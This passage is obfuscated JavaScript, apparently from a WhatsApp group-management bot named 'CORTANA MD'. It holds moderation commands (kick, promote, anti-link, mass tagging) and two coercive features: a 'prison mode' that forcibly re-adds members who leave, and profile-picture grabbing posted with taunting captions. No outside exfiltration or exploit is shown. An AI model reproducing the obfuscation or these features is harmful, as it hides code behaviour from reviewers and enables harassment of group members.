\x20Anti-Link\x20set\x20to:\x20*KICK*\x0a\x0a_Mode\x20verified:\x20'+_0x5ee730?.[_0x22c589(0x31a)]+'_');}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x353),'description':_0x4d270b(0x2cc),'category':_0x4d270b(0x2d4),'execute':async({msg:_0x13287e,reply:_0x4a7d3d})=>{const _0x59356d=_0x4d270b,_0x44e3d8={'SmZtr':function(_0x58e92e,_0x1c40e5){return _0x58e92e(_0x1c40e5);},'iypxK':_0x59356d(0x33c)},_0x3ffef0=_0x13287e['key'][_0x59356d(0x193)];if(!_0x3ffef0['endsWith'](_0x59356d(0x25d)))return _0x44e3d8['SmZtr'](_0x4a7d3d,_0x44e3d8['iypxK']);await storage_1['storage'][_0x59356d(0x350)](_0x3ffef0,{'antilinkMode':_0x59356d(0x1b3)}),await _0x44e3d8[_0x59356d(0x275)](_0x4a7d3d,'โ
\x20Anti-Link\x20set\x20to:\x20*WARN*');}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x23e),'description':_0x4d270b(0x18f),'category':'group','execute':async({msg:_0x26a741,reply:_0x1cc3f0})=>{const _0x3047f5=_0x4d270b,_0x5d66dd=_0x26a741[_0x3047f5(0x255)][_0x3047f5(0x193)];if(!_0x5d66dd[_0x3047f5(0x1a6)]('@g.us'))return _0x1cc3f0(_0x3047f5(0x33c));await storage_1[_0x3047f5(0x184)][_0x3047f5(0x350)](_0x5d66dd,{'antilinkMode':_0x3047f5(0x2f8)}),await _0x1cc3f0(_0x3047f5(0x1e8));}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':'antigroupmention-kick','aliases':[_0x4d270b(0x34f)],'description':_0x4d270b(0x2b9),'category':_0x4d270b(0x2d4),'execute':async({msg:_0x17ad46,reply:_0x259d3})=>{const _0x1771e2=_0x4d270b,_0x28d4dd={'NjzLc':_0x1771e2(0x25d),'rSEUw':_0x1771e2(0x33c),'ISagX':function(_0x3d0ed1,_0x23ca22){return _0x3d0ed1(_0x23ca22);}},_0x5a5a59=_0x17ad46['key']['remoteJid'];if(!_0x5a5a59[_0x1771e2(0x1a6)](_0x28d4dd[_0x1771e2(0x28d)]))return _0x259d3(_0x28d4dd[_0x1771e2(0x333)]);await storage_1['storage'][_0x1771e2(0x350)](_0x5a5a59,{'antigroupmentionMode':'kick'}),await _0x28d4dd[_0x1771e2(0x21e)](_0x259d3,_0x1771e2(0x364));}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x20e),'aliases':[_0x4d270b(0x2a4)],'description':_0x4d270b(0x321),'category':_0x4d270b(0x2d4),'execute':async({msg:_0x43293b,reply:_0x1232d6})=>{const _0x347112=_0x4d270b,_0x38fd04={'QYQqQ':_0x347112(0x25d)},_0x5c9631=_0x43293b['key'][_0x347112(0x193)];if(!_0x5c9631[_0x347112(0x1a6)](_0x38fd04[_0x347112(0x287)]))return _0x1232d6('Groups\x20only');await storage_1[_0x347112(0x184)][_0x347112(0x350)](_0x5c9631,{'antigroupmentionMode':_0x347112(0x1b3)}),await _0x1232d6(_0x347112(0x297));}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x17c),'description':'Disable\x20Anti-GroupMention','category':_0x4d270b(0x2d4),'execute':async({msg:_0x321b01,reply:_0x28bcd1})=>{const _0x119e94=_0x4d270b,_0x1b350f={'NpPYG':_0x119e94(0x33c)},_0xf5b29e=_0x321b01[_0x119e94(0x255)][_0x119e94(0x193)];if(!_0xf5b29e['endsWith'](_0x119e94(0x25d)))return _0x28bcd1(_0x1b350f['NpPYG']);await storage_1['storage'][_0x119e94(0x350)](_0xf5b29e,{'antigroupmentionMode':_0x119e94(0x2f8)}),await _0x28bcd1('โ\x20Anti-GroupMention\x20(Status\x20Checks)\x20DISABLED');}}),(0x0,types_1['registerCommand'])({'name':_0x4d270b(0x24a),'aliases':[_0x4d270b(0x323)],'description':_0x4d270b(0x23c),'category':'group','execute':async({msg:_0x5eb4a4,reply:_0x434f32})=>{const _0x98b7f8=_0x4d270b,_0x225034={'jCjZW':_0x98b7f8(0x25d),'AOSKg':function(_0x45e6c6,_0x433865){return _0x45e6c6(_0x433865);}},_0x2a5558=_0x5eb4a4[_0x98b7f8(0x255)][_0x98b7f8(0x193)];if(!_0x2a5558['endsWith'](_0x225034[_0x98b7f8(0x20a)]))return _0x225034[_0x98b7f8(0x29e)](_0x434f32,'Groups\x20only');await storage_1['storage'][_0x98b7f8(0x350)](_0x2a5558,{'antitagallMode':_0x98b7f8(0x18a)}),await _0x225034[_0x98b7f8(0x29e)](_0x434f32,_0x98b7f8(0x1a0));}}),(0x0,types_1['registerCommand'])({'name':_0x4d270b(0x259),'aliases':[_0x4d270b(0x27e)],'description':_0x4d270b(0x2d6),'category':_0x4d270b(0x2d4),'execute':async({msg:_0x50a8bf,reply:_0x400eb6})=>{const _0x1fb94c=_0x4d270b,_0x4fe169=_0x50a8bf[_0x1fb94c(0x255)][_0x1fb94c(0x193)];if(!_0x4fe169[_0x1fb94c(0x1a6)](_0x1fb94c(0x25d)))return _0x400eb6(_0x1fb94c(0x33c));await storage_1[_0x1fb94c(0x184)][_0x1fb94c(0x350)](_0x4fe169,{'antitagallMode':_0x1fb94c(0x1b3)}),await _0x400eb6(_0x1fb94c(0x240));}}),(0x0,types_1['registerCommand'])({'name':'antitagall-off','description':'Disable\x20Anti-TagAll','category':'group','execute':async({msg:_0x16245c,reply:_0x1f61aa})=>{const _0x59836c=_0x4d270b,_0x4a3771={'jTCfN':'off'},_0x3a3e27=_0x16245c[_0x59836c(0x255)]['remoteJid'];if(!_0x3a3e27[_0x59836c(0x1a6)](_0x59836c(0x25d)))return _0x1f61aa(_0x59836c(0x33c));await storage_1['storage'][_0x59836c(0x350)](_0x3a3e27,{'antitagallMode':_0x4a3771['jTCfN']}),await _0x1f61aa(_0x59836c(0x214));}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x1b2),'aliases':[_0x4d270b(0x2f7),'prisonmode'],'description':'Toggle\x20Prison\x20Mode\x20-\x20Auto-add\x20people\x20who\x20leave','category':_0x4d270b(0x2d4),'ownerOnly':!![],'execute':async({sock:_0x3d0ed5,msg:_0x13a82d,args:_0x25a15b,reply:_0x1926da,isOwner:_0x3e79e7})=>{const _0x2d9f1a=_0x4d270b,_0x5b8e09={'YwKSu':'@g.us','rZtMM':'admin','pfePc':function(_0x43399d,_0x35fd25){return _0x43399d===_0x35fd25;},'ZofYH':_0x2d9f1a(0x260),'hyeWi':_0x2d9f1a(0x2f2),'IPwXY':_0x2d9f1a(0x2a5),'nbbDw':function(_0x410dfa,_0x28fcf2){return _0x410dfa===_0x28fcf2;},'PSLSG':_0x2d9f1a(0x18c),'jVapS':'off','EePsI':function(_0x2c1ef4,_0x1e6db2){return _0x2c1ef4(_0x1e6db2);},'qKphp':'๐\x20ON'},_0x549b28=_0x13a82d[_0x2d9f1a(0x255)][_0x2d9f1a(0x193)];if(!_0x549b28[_0x2d9f1a(0x1a6)](_0x5b8e09[_0x2d9f1a(0x343)]))return _0x1926da(_0x2d9f1a(0x2c9));try{const _0x318e6d=await _0x3d0ed5['groupMetadata'](_0x549b28),_0x2585be=findBotInParticipants(_0x3d0ed5,_0x318e6d[_0x2d9f1a(0x234)]);if(!_0x2585be)return _0x1926da(_0x2d9f1a(0x1d8));const _0x38f28c=_0x2585be['admin']===_0x5b8e09[_0x2d9f1a(0x310)]||_0x5b8e09['pfePc'](_0x2585be['admin'],'superadmin');if(!_0x38f28c)return _0x1926da('โ\x20I\x20need\x20Admin\x20privileges\x20first!\x20Promote\x20me\x20so\x20I\x20can\x20drag\x20people\x20back.\x20๐');}catch(_0x493a6c){_0x5b8e09['ZofYH']===_0x5b8e09[_0x2d9f1a(0x2bb)]?(_0x5993fe=!![],_0x15e7db=_0x2d9f1a(0x29b)):console['error'](_0x5b8e09[_0x2d9f1a(0x1c6)],_0x493a6c);}const _0x261e6a=_0x25a15b[0x0]?.[_0x2d9f1a(0x28a)]();if(_0x5b8e09[_0x2d9f1a(0x1ba)](_0x261e6a,'on'))return await storage_1[_0x2d9f1a(0x184)]['updateGroupSettings'](_0x549b28,{'antileft':!![]}),_0x1926da(_0x5b8e09['PSLSG']);else{if(_0x5b8e09[_0x2d9f1a(0x1ca)](_0x261e6a,_0x5b8e09['jVapS']))return await storage_1[_0x2d9f1a(0x184)][_0x2d9f1a(0x350)](_0x549b28,{'antileft':![]}),_0x5b8e09[_0x2d9f1a(0x2a7)](_0x1926da,_0x2d9f1a(0x263));else{const _0x3d12a0=await storage_1['storage'][_0x2d9f1a(0x35b)](_0x549b28),_0x47db45=_0x3d12a0?.[_0x2d9f1a(0x1b2)]?_0x5b8e09[_0x2d9f1a(0x26f)]:_0x2d9f1a(0x2f0);return _0x5b8e09[_0x2d9f1a(0x2a7)](_0x1926da,_0x2d9f1a(0x299)+_0x47db45+_0x2d9f1a(0x327));}}}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x19a),'aliases':[_0x4d270b(0x32b),'grouppic',_0x4d270b(0x221)],'description':_0x4d270b(0x252),'category':'group','execute':async({sock:_0xe252ff,msg:_0x5c0138,reply:_0x35ca8a})=>{const _0x1132c4=_0x4d270b,_0x5e86ab={'rfLzz':function(_0x3cb141,_0x241216){return _0x3cb141(_0x241216);},'Qtpbh':_0x1132c4(0x24b),'pVEZO':_0x1132c4(0x268),'JmWOI':_0x1132c4(0x349),'EgNRJ':function(_0x4bf7fc,_0x415819){return _0x4bf7fc(_0x415819);},'oAyTD':_0x1132c4(0x1d0),'QWNjc':'๐\x20*GOTCHA!*\x20๐\x0a\x0a_CORTANA\x20MD\x20sees\x20all,\x20knows\x20all_\x20๐น','xVWVA':_0x1132c4(0x2ff),'DWlik':_0x1132c4(0x2ea),'JTGYs':_0x1132c4(0x305),'MXbqC':function(_0xea0ee2,_0x32d3a3){return _0xea0ee2+_0x32d3a3;}},_0x4b0dc0=_0x5c0138[_0x1132c4(0x255)]['remoteJid'];if(!_0x4b0dc0['endsWith'](_0x1132c4(0x25d)))return _0x5e86ab[_0x1132c4(0x33b)]!==_0x5e86ab['Qtpbh']?_0x5e86ab['rfLzz'](_0x53e193,_0x1132c4(0x30f)):_0x35ca8a(_0x5e86ab['pVEZO']);try{const _0x283675=await _0xe252ff[_0x1132c4(0x1f0)](_0x4b0dc0,_0x1132c4(0x229));if(!_0x283675)return _0x5e86ab[_0x1132c4(0x262)](_0x35ca8a,_0x5e86ab[_0x1132c4(0x362)]);const _0x1da20d=await _0x5e86ab[_0x1132c4(0x2e0)](fetch,_0x283675),_0x12e240=Buffer[_0x1132c4(0x1e6)](await _0x1da20d[_0x1132c4(0x1c7)]()),_0x4e275d=[_0x5e86ab['oAyTD'],'๐ฅ\x20*PROFILE\x20PIC\x20EXPOSED*\x20๐ฅ\x0a\x0a_Nothing\x20escapes\x20the\x20chaos_\x20๐',_0x5e86ab[_0x1132c4(0x271)],_0x5e86ab['xVWVA'],_0x1132c4(0x2da),'๐ฎ\x20*CORTANA\x20ORACLE\x20SAYS...*\x20๐ฎ\x0a\x0a_Nice\x20pic,\x20shame\x20if\x20something\x20happened\x20to\x20it_\x20๐',_0x1132c4(0x21d)],_0xb24b5=_0x4e275d[Math['floor'](Math[_0x1132c4(0x304)]()*_0x4e275d[_0x1132c4(0x354)])];await _0xe252ff[_0x1132c4(0x242)](_0x4b0dc0,{'image':_0x12e240,'caption':_0xb24b5});}catch(_0xb0212){console[_0x1132c4(0x21a)]('[GETPP]\x20Error:',_0xb0212);if(_0xb0212[_0x1132c4(0x1a2)]?.[_0x1132c4(0x340)](_0x1132c4(0x30b))||_0xb0212[_0x1132c4(0x1a2)]?.[_0x1132c4(0x340)](_0x5e86ab[_0x1132c4(0x288)]))return _0x35ca8a(_0x5e86ab[_0x1132c4(0x1fc)]);return _0x35ca8a(_0x5e86ab[_0x1132c4(0x1bd)](_0x1132c4(0x30d),_0xb0212[_0x1132c4(0x1a2)]));}}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x249),'aliases':[_0x4d270b(0x1ae),'pp',_0x4d270b(0x231),_0x4d270b(0x269)],'description':'Get\x20profile\x20picture\x20of\x20replied/mentioned\x20user\x20(Owner\x20Only)','category':_0x4d270b(0x315),'ownerOnly':!![],'execute':async({sock:_0x2ce358,msg:_0x3974f1,args:_0x410d5f,reply:_0x44fa44})=>{const _0x56806c=_0x4d270b,_0x4632af={'yCXMy':_0x56806c(0x1d8),'iHjUk':function(_0x293bbd,_0x4fc87b){return _0x293bbd>=_0x4fc87b;},'xmWyc':function(_0x442752,_0x3150c1){return _0x442752+_0x3150c1;},'ZyurU':_0x56806c(0x228),'zdROG':_0x56806c(0x229),'UsaHi':_0x56806c(0x309),'DBQoG':_0x56806c(0x1aa),'ELrDK':'not-authorized','Updnv':function(_0x3e1fc7,_0x3ce146){return _0x3e1fc7(_0x3ce146);}};try{let _0x39cf81;const _0x3d2b70=_0x3974f1['message']?.[_0x56806c(0x1d5)]?.[_0x56806c(0x267)],_0x4684ec=_0x3d2b70?.[_0x56806c(0x17a)];_0x4684ec&&(_0x39cf81=_0x4684ec);const _0x46c3bf=_0x3d2b70?.[_0x56806c(0x2b3)];!_0x39cf81&&_0x46c3bf&&_0x46c3bf[_0x56806c(0x354)]>0x0&&(_0x39cf81=_0x46c3bf[0x0]);if(!_0x39cf81&&_0x410d5f[0x0]){const _0xac6c2d=_0x410d5f[0x0][_0x56806c(0x27b)](/[^0-9]/g,'');_0x4632af['iHjUk'](_0xac6c2d[_0x56806c(0x354)],0xa)&&(_0x39cf81=_0x4632af[_0x56806c(0x35c)](_0xac6c2d,'@s.whatsapp.net'));}if(!_0x39cf81)return _0x44fa44(_0x4632af['ZyurU']);const _0x560c89=await _0x2ce358[_0x56806c(0x1f0)](_0x39cf81,_0x4632af[_0x56806c(0x365)]);if(!_0x560c89)return _0x44fa44('โ\x20@'+_0x39cf81['split']('@')[0x0]+_0x56806c(0x192));const _0x219e1b=await fetch(_0x560c89),_0x4b66cd=Buffer[_0x56806c(0x1e6)](await _0x219e1b['arrayBuffer']()),_0x588098=_0x39cf81['split']('@')[0x0],_0x38068a=_0x56806c(0x281)+_0x588098+_0x56806c(0x1dc);await _0x2ce358['sendMessage'](_0x3974f1[_0x56806c(0x255)][_0x56806c(0x193)],{'image':_0x4b66cd,'caption':_0x38068a,'mentions':[_0x39cf81]});}catch(_0x12fccc){if('ttfal'!==_0x4632af['UsaHi'])return _0x297a7c(ACUvYo['yCXMy']);else{console[_0x56806c(0x21a)](_0x4632af[_0x56806c(0x1a9)],_0x12fccc);if(_0x12fccc[_0x56806c(0x1a2)]?.[_0x56806c(0x340)](_0x56806c(0x30b))||_0x12fccc[_0x56806c(0x1a2)]?.['includes'](_0x4632af[_0x56806c(0x286)]))return _0x4632af[_0x56806c(0x36b)](_0x44fa44,_0x56806c(0x324));return _0x44fa44(_0x56806c(0x2fd)+_0x12fccc['message']);}}}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x1b7),'description':_0x4d270b(0x28b),'category':_0x4d270b(0x2d4),'execute':async({sock:_0x1d7346,args:_0x41684f,msg:_0x2495b3,reply:_0x543f53})=>{const _0x22ace1=_0x4d270b,_0x138f8f={'GwaKm':function(_0x536af2,_0x1d9c86){return _0x536af2(_0x1d9c86);},'OBehc':'add'},_0x43fdf6=_0x2495b3[_0x22ace1(0x255)]['remoteJid'];if(!_0x43fdf6['endsWith'](_0x22ace1(0x25d)))return _0x543f53(_0x22ace1(0x369));const _0x2be330=_0x41684f[0x0];if(!_0x2be330)return _0x138f8f[_0x22ace1(0x2ad)](_0x543f53,'โ\x20Provide\x20number\x20to\x20add');const _0x49b481=_0x2be330[_0x22ace1(0x27b)](/[^0-9]/g,'')+_0x22ace1(0x18b);await _0x1d7346[_0x22ace1(0x2e5)](_0x43fdf6,[_0x49b481],_0x138f8f[_0x22ace1(0x331)]),await _0x138f8f[_0x22ace1(0x2ad)](_0x543f53,'โ
\x20Added\x20'+_0x2be330);}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':'kick','aliases':[_0x4d270b(0x2d8)],'description':_0x4d270b(0x182),'category':_0x4d270b(0x2d4),'execute':async({sock:_0x5642d9,args:_0xff60ec,msg:_0x420c35,reply:_0x11bad1})=>{const _0x4e4f1e=_0x4d270b,_0x522fcf={'GCgYg':_0x4e4f1e(0x25d),'JtOZg':function(_0x1058d4,_0x22f0c4){return _0x1058d4(_0x22f0c4);},'DqCuV':function(_0x55ebef,_0x3511c1){return _0x55ebef+_0x3511c1;},'WpSHt':_0x4e4f1e(0x18b),'pMStV':function(_0x277a12,_0x1f066c){return _0x277a12>_0x1f066c;}},_0x2819a5=_0x420c35[_0x4e4f1e(0x255)][_0x4e4f1e(0x193)];if(!_0x2819a5['endsWith'](_0x522fcf['GCgYg']))return _0x522fcf[_0x4e4f1e(0x34d)](_0x11bad1,'โ\x20This\x20command\x20is\x20for\x20groups\x20only');let _0x71a56f=_0xff60ec[0x0]?_0x522fcf['DqCuV'](_0xff60ec[0x0][_0x4e4f1e(0x27b)](/[^0-9]/g,''),_0x522fcf[_0x4e4f1e(0x1cd)]):undefined;const _0x1526ce=_0x420c35[_0x4e4f1e(0x1a2)]?.[_0x4e4f1e(0x1d5)]?.['contextInfo']?.['mentionedJid'];_0x1526ce&&_0x522fcf[_0x4e4f1e(0x2fb)](_0x1526ce[_0x4e4f1e(0x354)],0x0)&&(_0x71a56f=_0x1526ce[0x0]);const _0x70ee0d=_0x420c35[_0x4e4f1e(0x1a2)]?.['extendedTextMessage']?.[_0x4e4f1e(0x267)]?.['participant'];_0x70ee0d&&(_0x71a56f=_0x70ee0d);if(!_0x71a56f)return _0x11bad1(_0x4e4f1e(0x2c1));await _0x5642d9[_0x4e4f1e(0x2e5)](_0x2819a5,[_0x71a56f],_0x4e4f1e(0x2d8)),await _0x11bad1('โ
\x20Kicked\x20user');}}),(0x0,types_1['registerCommand'])({'name':_0x4d270b(0x19b),'description':_0x4d270b(0x177),'category':'group','execute':async({sock:_0x13dff8,args:_0x325715,msg:_0x418f4c,reply:_0x2e2760})=>{const _0x93b029=_0x4d270b,_0x4dd9c1={'zERzV':_0x93b029(0x25d),'JESbM':function(_0x560714,_0x586e69){return _0x560714(_0x586e69);},'SEQQP':_0x93b029(0x369),'BJXSw':_0x93b029(0x19b)},_0x17e058=_0x418f4c[_0x93b029(0x255)][_0x93b029(0x193)];if(!_0x17e058['endsWith'](_0x4dd9c1['zERzV']))return _0x4dd9c1['JESbM'](_0x2e2760,_0x4dd9c1[_0x93b029(0x1c3)]);let _0x406db5=_0x325715[0x0]?_0x325715[0x0][_0x93b029(0x27b)](/[^0-9]/g,'')+_0x93b029(0x18b):undefined;const _0x5b42cc=_0x418f4c[_0x93b029(0x1a2)]?.[_0x93b029(0x1d5)]?.['contextInfo']?.[_0x93b029(0x2b3)];if(_0x5b42cc&&_0x5b42cc['length']>0x0)_0x406db5=_0x5b42cc[0x0];if(!_0x406db5)return _0x2e2760(_0x93b029(0x25a));await _0x13dff8[_0x93b029(0x2e5)](_0x17e058,[_0x406db5],_0x4dd9c1[_0x93b029(0x312)]),await _0x2e2760(_0x93b029(0x195));}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':'demote','description':_0x4d270b(0x1a4),'category':'group','execute':async({sock:_0x21213e,args:_0x25cc27,msg:_0x594752,reply:_0x1a0dfa})=>{const _0x1832e2=_0x4d270b,_0x20a2b1={'Lbjfh':'โ\x20This\x20command\x20is\x20for\x20groups\x20only','smslx':function(_0x19d1b8,_0x105dd4){return _0x19d1b8+_0x105dd4;},'abuBD':_0x1832e2(0x18b),'NiOeo':function(_0x6073a6,_0x57f58a){return _0x6073a6>_0x57f58a;},'ADxXb':_0x1832e2(0x25a),'RNhgF':function(_0xee9047,_0x466956){return _0xee9047(_0x466956);}},_0x50350a=_0x594752[_0x1832e2(0x255)]['remoteJid'];if(!_0x50350a[_0x1832e2(0x1a6)](_0x1832e2(0x25d)))return _0x1a0dfa(_0x20a2b1['Lbjfh']);let _0x37adb4=_0x25cc27[0x0]?_0x20a2b1['smslx'](_0x25cc27[0x0][_0x1832e2(0x27b)](/[^0-9]/g,''),_0x20a2b1[_0x1832e2(0x314)]):undefined;const _0x4c1561=_0x594752[_0x1832e2(0x1a2)]?.['extendedTextMessage']?.['contextInfo']?.[_0x1832e2(0x2b3)];if(_0x4c1561&&_0x20a2b1['NiOeo'](_0x4c1561[_0x1832e2(0x354)],0x0))_0x37adb4=_0x4c1561[0x0];if(!_0x37adb4)return _0x1a0dfa(_0x20a2b1['ADxXb']);await _0x21213e[_0x1832e2(0x2e5)](_0x50350a,[_0x37adb4],_0x1832e2(0x31e)),await _0x20a2b1[_0x1832e2(0x26e)](_0x1a0dfa,'โ
\x20Demoted\x20user');}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x251),'description':_0x4d270b(0x2cd),'category':_0x4d270b(0x2d4),'execute':async({sock:_0xbef660,msg:_0x1bae7b,reply:_0x518afd})=>{const _0x1344d5=_0x4d270b,_0x4755bc={'xwcjh':function(_0x88b15c,_0x4b6d10){return _0x88b15c(_0x4b6d10);},'IDyyE':_0x1344d5(0x369),'iBwiw':function(_0x102984,_0x2467d5){return _0x102984(_0x2467d5);}},_0x5836d9=_0x1bae7b[_0x1344d5(0x255)][_0x1344d5(0x193)];if(!_0x5836d9['endsWith'](_0x1344d5(0x25d)))return _0x4755bc[_0x1344d5(0x2ee)](_0x518afd,_0x4755bc[_0x1344d5(0x2a8)]);await _0xbef660[_0x1344d5(0x250)](_0x5836d9,'not_announcement'),await _0x4755bc[_0x1344d5(0x29f)](_0x518afd,_0x1344d5(0x347));}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x320),'description':_0x4d270b(0x2a0),'category':_0x4d270b(0x2d4),'execute':async({sock:_0xa9a8aa,msg:_0x557d4a,reply:_0x1d690a})=>{const _0x21c4ce=_0x4d270b,_0x3d9336={'nEcsy':_0x21c4ce(0x369),'QjrZL':'โ
\x20Group\x20closed'},_0x4733e6=_0x557d4a[_0x21c4ce(0x255)]['remoteJid'];if(!_0x4733e6[_0x21c4ce(0x1a6)](_0x21c4ce(0x25d)))return _0x1d690a(_0x3d9336[_0x21c4ce(0x2ca)]);await _0xa9a8aa[_0x21c4ce(0x250)](_0x4733e6,'announcement'),await _0x1d690a(_0x3d9336[_0x21c4ce(0x274)]);}}),(0x0,types_1['registerCommand'])({'name':_0x4d270b(0x23a),'description':_0x4d270b(0x2c4),'category':'group','execute':async({sock:_0x530b2c,msg:_0x1e0125,reply:_0x4377f8})=>{const _0x17d866=_0x4d270b,_0x3552e6={'WMCpz':function(_0x560b09,_0x70b54c){return _0x560b09(_0x70b54c);}},_0x48a622=_0x1e0125['key']['remoteJid'];if(!_0x48a622[_0x17d866(0x1a6)](_0x17d866(0x25d)))return _0x4377f8('โ\x20This\x20command\x20is\x20for\x20groups\x20only');const _0x3f801a=await _0x530b2c[_0x17d866(0x356)](_0x48a622);await _0x3552e6['WMCpz'](_0x4377f8,_0x17d866(0x341)+_0x3f801a);}}),(0x0,types_1['registerCommand'])({'name':_0x4d270b(0x20c),'aliases':['revoke'],'description':_0x4d270b(0x318),'category':_0x4d270b(0x2d4),'execute':async({sock:_0xcc23a4,msg:_0xac4667,reply:_0x1e2018})=>{const _0x452209=_0x4d270b,_0x555cdc={'sMmoc':_0x452209(0x25d),'LBAKp':_0x452209(0x369)},_0x20e1af=_0xac4667['key'][_0x452209(0x193)];if(!_0x20e1af[_0x452209(0x1a6)](_0x555cdc[_0x452209(0x18d)]))return _0x1e2018(_0x555cdc[_0x452209(0x261)]);await _0xcc23a4['groupRevokeInvite'](_0x20e1af);const _0x456742=await _0xcc23a4[_0x452209(0x356)](_0x20e1af);await _0x1e2018(_0x452209(0x344)+_0x456742);}}),(0x0,types_1['registerCommand'])({'name':_0x4d270b(0x176),'description':_0x4d270b(0x351),'category':_0x4d270b(0x2d4),'execute':async({sock:_0x18681a,msg:_0x227fd2,args:_0x435488,reply:_0x566660,chatId:_0x24e978})=>{const _0x3298f6=_0x4d270b,_0x2f3424={'YQOeE':'@g.us','KPIwB':function(_0x755c73,_0x3ce167){return _0x755c73(_0x3ce167);},'EciNE':_0x3298f6(0x369),'NhhLH':function(_0x51aa9f,_0x3b0888){return _0x51aa9f+_0x3b0888;}},_0x291e02=_0x24e978||_0x227fd2[_0x3298f6(0x255)][_0x3298f6(0x193)];if(!_0x291e02['endsWith'](_0x2f3424[_0x3298f6(0x29a)]))return _0x2f3424[_0x3298f6(0x206)](_0x566660,_0x2f3424['EciNE']);const _0x3831ab=await _0x18681a[_0x3298f6(0x248)](_0x291e02),_0x137128=_0x435488[_0x3298f6(0x22d)]('\x20')||_0x3298f6(0x256),_0x54a12a=_0x3831ab[_0x3298f6(0x234)][_0x3298f6(0x35f)](_0xd7cc43=>_0xd7cc43['id']);await _0x18681a[_0x3298f6(0x242)](_0x291e02,{'text':_0x2f3424[_0x3298f6(0x17b)]('*'+_0x137128+'*\x0a',_0x54a12a[_0x3298f6(0x35f)](_0xe6ad0d=>'@'+_0xe6ad0d[_0x3298f6(0x17f)]('@')[0x0])[_0x3298f6(0x22d)]('\x0a')),'mentions':_0x54a12a});}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x1d2),'description':'Tag\x20all\x20members\x20strictly\x20(hidden)','category':_0x4d270b(0x2d4),'execute':async({sock:_0x495b16,msg:_0x57b372,args:_0x3f5299,chatId:_0x447882,reply:_0x2632ec})=>{const _0x21e126=_0x4d270b,_0x4f41e0=_0x447882||_0x57b372[_0x21e126(0x255)]['remoteJid'];if(!_0x4f41e0[_0x21e126(0x1a6)]('@g.us'))return _0x2632ec('โ\x20Groups\x20only');const _0x596200=await _0x495b16[_0x21e126(0x248)](_0x4f41e0),_0x5ced65=_0x3f5299[_0x21e126(0x22d)]('\x20')||'Hidden\x20Tag',_0x3b6b8c=_0x596200[_0x21e126(0x234)][_0x21e126(0x35f)](_0x1ad151=>_0x1ad151['id']);await _0x495b16[_0x21e126(0x242)](_0x4f41e0,{'text':_0x5ced65,'mentions':_0x3b6b8c});}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':'setppgc','description':_0x4d270b(0x19f),'category':_0x4d270b(0x2d4),'execute':async({sock:_0x38cb94,msg:_0x5a7d7b,reply:_0x18dd20})=>{const _0x27f5f8=_0x4d270b,_0xbc7996={'kefGj':'โ\x20Groups\x20only','CzCzW':function(_0x1ea1dc,_0x2583a7){return _0x1ea1dc(_0x2583a7);},'lfAYU':_0x27f5f8(0x2a3)},_0x242271=_0x5a7d7b[_0x27f5f8(0x255)][_0x27f5f8(0x193)];if(!_0x242271[_0x27f5f8(0x1a6)](_0x27f5f8(0x25d)))return _0x18dd20(_0xbc7996[_0x27f5f8(0x316)]);const _0x4a8388=_0x5a7d7b[_0x27f5f8(0x1a2)]?.[_0x27f5f8(0x339)]||_0x5a7d7b[_0x27f5f8(0x1a2)]?.[_0x27f5f8(0x1d5)]?.['contextInfo']?.['quotedMessage']?.[_0x27f5f8(0x339)];if(!_0x4a8388)return _0xbc7996[_0x27f5f8(0x36a)](_0x18dd20,_0xbc7996['lfAYU']);await _0x18dd20(_0x27f5f8(0x1ed));}}),(0x0,types_1['registerCommand'])({'name':_0x4d270b(0x213),'aliases':[_0x4d270b(0x2dd)],'description':'Delete\x20message','category':'group','execute':async({sock:_0x2052ec,msg:_0x308c4c,reply:_0x532446})=>{const _0x4e1fac=_0x4d270b;if(!_0x308c4c[_0x4e1fac(0x1a2)]?.['extendedTextMessage']?.[_0x4e1fac(0x267)]?.[_0x4e1fac(0x22f)])return _0x532446(_0x4e1fac(0x224));const _0x17f39d={'remoteJid':_0x308c4c[_0x4e1fac(0x255)][_0x4e1fac(0x193)],'fromMe':![],'id':_0x308c4c[_0x4e1fac(0x1a2)][_0x4e1fac(0x1d5)][_0x4e1fac(0x267)][_0x4e1fac(0x22f)],'participant':_0x308c4c[_0x4e1fac(0x1a2)]['extendedTextMessage']['contextInfo'][_0x4e1fac(0x17a)]};await _0x2052ec[_0x4e1fac(0x242)](_0x308c4c[_0x4e1fac(0x255)][_0x4e1fac(0x193)],{'delete':_0x17f39d});}}),(0x0,types_1['registerCommand'])({'name':_0x4d270b(0x19e),'description':_0x4d270b(0x23b),'category':'group','ownerOnly':!![],'execute':async({sock:_0x246c6e,msg:_0x26e5ac,reply:_0x565bde})=>{const _0x1653fc=_0x4d270b,_0x4ccc8b={'NEqpL':function(_0x4047e8,_0x24c0ea){return _0x4047e8(_0x24c0ea);},'eNSmy':function(_0x9fa1aa,_0x18168b){return _0x9fa1aa===_0x18168b;},'xCVOO':function(_0x101c0f,_0x50b179){return _0x101c0f===_0x50b179;},'KJaFv':function(_0x18d748,_0x8a4892){return _0x18d748===_0x8a4892;},'nwhsY':_0x1653fc(0x2bf),'cMIDb':_0x1653fc(0x346),'uxtuE':function(_0x5c5626,_0x1f79f5){return _0x5c5626(_0x1f79f5);},'cnrOq':_0x1653fc(0x32c),'lxptU':_0x1653fc(0x1ef),'TQzSo':_0x1653fc(0x2e1),'qhyEg':function(_0x2fa63c,_0x12073e){return _0x2fa63c+_0x12073e;},'MgfSI':_0x1653fc(0x1db)};try{if(_0x4ccc8b['KJaFv'](_0x1653fc(0x1a1),_0x1653fc(0x212)))_0x69cb3f=_0x3bcc5f;else{const 